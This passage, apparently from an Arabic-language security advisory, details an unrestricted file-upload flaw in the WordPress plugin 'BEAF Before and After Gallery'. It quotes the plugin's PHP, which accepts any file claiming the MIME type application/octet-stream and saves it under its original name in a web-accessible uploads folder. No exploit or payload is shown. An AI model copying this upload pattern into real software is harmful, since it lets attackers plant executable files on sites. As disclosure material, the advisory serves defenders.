## التفاصيل  
يستدعي إجراء `beaf_options_save` الدالة `beaf_save_options()` في السطر [227](https://plugins.trac.wordpress.org/browser/beaf-before-and-after-gallery/trunk/admin/tf-options/classes/BEAF_Settings.php#L227) من `/wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php` دون فرض أي التحقق من صحة نوع الملف. 

تتحقق الأسطر [281-292](https://plugins.trac.wordpress.org/browser/beaf-before-and-after-gallery/trunk/admin/tf-options/classes/BEAF_Settings.php#L281-292) من هذه الدالة من طلب HTTP بحثًا عن `$_FILES` وتتحقق فقط من نوع MIME مقابل نوع عام `application/octet-stream`. ثم تخزن الملف في دليل يمكن الوصول إليه عبر الويب `/wp-content/uploads/itinerary-fonts`.
```php
    if ( isset( $_FILES ) && ! empty( $_FILES['file'] ) ) {
        $tf_upload_dir = wp_upload_dir();
        if ( ! empty( $tf_upload_dir['basedir'] ) ) {
            $tf_itinerary_fonts = $tf_upload_dir['basedir'] . '/itinerary-fonts';
            if ( ! file_exists( $tf_itinerary_fonts ) ) {
                wp_mkdir_p( $tf_itinerary_fonts );
            }
            $tf_fonts_extantions = array( 'application/octet-stream' );
            for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
                if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
                    $tf_font_filename = $_FILES['file']['name'][ $i ];
                    move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
                }
            }
        }
    }
